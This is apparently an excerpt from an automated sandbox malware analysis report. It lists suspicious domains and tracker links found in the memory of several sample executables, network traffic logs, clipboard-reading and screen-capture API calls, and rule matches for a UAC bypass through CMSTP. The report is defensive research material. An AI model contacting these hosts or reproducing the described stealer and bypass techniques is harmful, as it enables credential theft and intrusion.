Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2295309050.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/k
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/n
Source: s7MG2VL.exe, 0000000C.00000003.1945773980.000000000140C000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1945297555.0000000001405000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1945712484.0000000001408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJIS
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJISDeskShare
Source: yo7qmvz.exe, 00000023.00000003.2126477657.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJISV
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2049616075.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJISVu
Source: yo7qmvz.exe, 00000023.00000003.2268488347.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJIScal
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 0000002A.00000002.2404818559.000002035DCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.2404818559.000002035DCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.2404818559.000002035DCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: s7MG2VL.exe, 0000000C.00000003.2089502433.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2090607311.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092987885.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092747962.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/
Source: s7MG2VL.exe, 0000000C.00000003.2089502433.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092987885.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/:
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/a
Source: s7MG2VL.exe, 0000000C.00000003.2089502433.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092987885.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/b
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/c
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhw
Source: s7MG2VL.exe, 0000000C.00000002.2099061578.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhws
Source: yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life:443/dAnjhwkShare
Source: ps.exe, 00000026.00000002.2203329798.0000000140010000.00000004.00000001.01000000.00000013.sdmp, ps.exe, 00000026.00000002.2199954979.0000000000910000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: s7MG2VL.exe, 0000000C.00000003.1894143915.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938230921.0000000003867000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003276985.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 0000002A.00000002.2249861056.000002034DE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: ps.exe, 00000026.00000002.2201127690.00000000026B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/U7WLGD
Source: 8sb9w_003.exe, 0000001C.00000002.2039039883.0000000000475000.00000004.00000001.01000000.00000011.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27AF000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27B3000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2477479962.000001DBE4806000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2466442554.0000002058B76000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/ZATFQO
Source: yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: eAzoDbY.exe, 00000019.00000003.2004256745.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2064960562.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065441681.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2146747746.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2218119905.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2237606610.00000000015B3000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2216374622.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065047664.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2093938396.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094686130.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2035589838.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/
Source: eAzoDbY.exe, 00000019.00000003.2035667693.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2004256745.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2035589838.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu//
Source: eAzoDbY.exe, 00000019.00000003.2000710982.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/;
Source: eAzoDbY.exe, 00000019.00000003.2164345206.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2165401889.00000000015B3000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2145347035.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2146747746.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/O
Source: eAzoDbY.exe, 00000019.00000003.2094377397.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2093938396.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094686130.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/Y
Source: eAzoDbY.exe, 00000019.00000003.2217334858.0000000001595000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2164792928.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065018783.0000000001595000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2236631368.0000000001576000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2146607207.0000000001595000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2216374622.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094581489.0000000001595000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUa
Source: eAzoDbY.exe, 00000019.00000003.2214884529.0000000001572000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2236631368.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUa4j
Source: eAzoDbY.exe, 00000019.00000003.2189576635.0000000001595000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2236860342.0000000001596000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2145569828.0000000001594000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2215928647.0000000001594000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2217334858.0000000001595000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2146607207.0000000001595000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUadb
Source: eAzoDbY.exe, 00000019.00000003.2189429770.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2164792928.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUag
Source: eAzoDbY.exe, 00000019.00000003.2164345206.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2165401889.00000000015B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/c
Source: eAzoDbY.exe, 00000019.00000003.2056929429.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2064748127.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094377397.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2064960562.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065441681.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065047664.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2093938396.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094686130.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/g
Source: eAzoDbY.exe, 00000019.00000003.2164792928.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu:443/bdWUa
Source: eAzoDbY.exe, 00000019.00000003.2056929429.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2094377397.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2105569852.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2093938396.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2035589838.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu:443/bdWUaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Source: powershell.exe, 00000028.00000002.2227566449.0000019E70DB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2404818559.000002035DCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: yo7qmvz.exe, 00000023.00000003.2203839146.0000000003543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: yo7qmvz.exe, 00000023.00000003.2203839146.0000000003543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: s7MG2VL.exe, 0000000C.00000003.1894143915.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938230921.0000000003867000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003276985.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: s7MG2VL.exe, 0000000C.00000003.1894143915.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938230921.0000000003867000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003276985.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: s7MG2VL.exe, 0000000C.00000003.1946825251.0000000005E8A000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1990737095.000000000386A000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2067136388.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2202795546.000000000335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: s7MG2VL.exe, 0000000C.00000003.1946825251.0000000005E8A000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1990737095.000000000386A000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2067136388.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2202795546.000000000335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: yo7qmvz.exe, 00000023.00000003.2203839146.0000000003543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: yo7qmvz.exe, 00000023.00000003.2203839146.0000000003543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: yo7qmvz.exe, 00000023.00000003.2203839146.0000000003543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 61734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61666
Source: unknown	Network traffic detected: HTTP traffic on port 61701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61747
Source: unknown	Network traffic detected: HTTP traffic on port 61747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61706
Source: unknown	Network traffic detected: HTTP traffic on port 61743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61740
Source: unknown	Network traffic detected: HTTP traffic on port 61686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61742
Source: unknown	Network traffic detected: HTTP traffic on port 61737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61678
Source: unknown	Network traffic detected: HTTP traffic on port 61690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61670
Source: unknown	Network traffic detected: HTTP traffic on port 61662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61674
Source: unknown	Network traffic detected: HTTP traffic on port 61683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61752
Source: unknown	Network traffic detected: HTTP traffic on port 61742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61690
Source: unknown	Network traffic detected: HTTP traffic on port 61732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61688
Source: unknown	Network traffic detected: HTTP traffic on port 61691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61689
Source: unknown	Network traffic detected: HTTP traffic on port 61745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61680
Source: unknown	Network traffic detected: HTTP traffic on port 61684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61685
Source: unknown	Network traffic detected: HTTP traffic on port 61688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61686
Source: unknown	Network traffic detected: HTTP traffic on port 61669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61732
Source: unknown	Network traffic detected: HTTP traffic on port 61689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61739
Source: unknown	Network traffic detected: HTTP traffic on port 61752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61695
Source: unknown	Network traffic detected: HTTP traffic on port 61664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61697
Source: unknown	Network traffic detected: HTTP traffic on port 61685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61731

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61673 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.202:443 -> 192.168.2.6:61685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:61689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:61743 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 17_2_0043FF10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

17_2_0043FF10

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 17_2_0043FF10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

17_2_0043FF10

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 17_2_00440B17 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

17_2_00440B17

System Summary

Malicious sample detected (through community Yara rule)

Source: 28.2.8sb9w_003.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.svchost.exe.1dbe2750000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 28.2.8sb9w_003.exe.83afc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 28.2.8sb9w_003.exe.83afc8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

PE file contains section with special chars

Source: 13s1HMkHKv.exe	Static PE information: section name:
Source: 13s1HMkHKv.exe	Static PE information: section name: .idata
Source: 13s1HMkHKv.exe	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
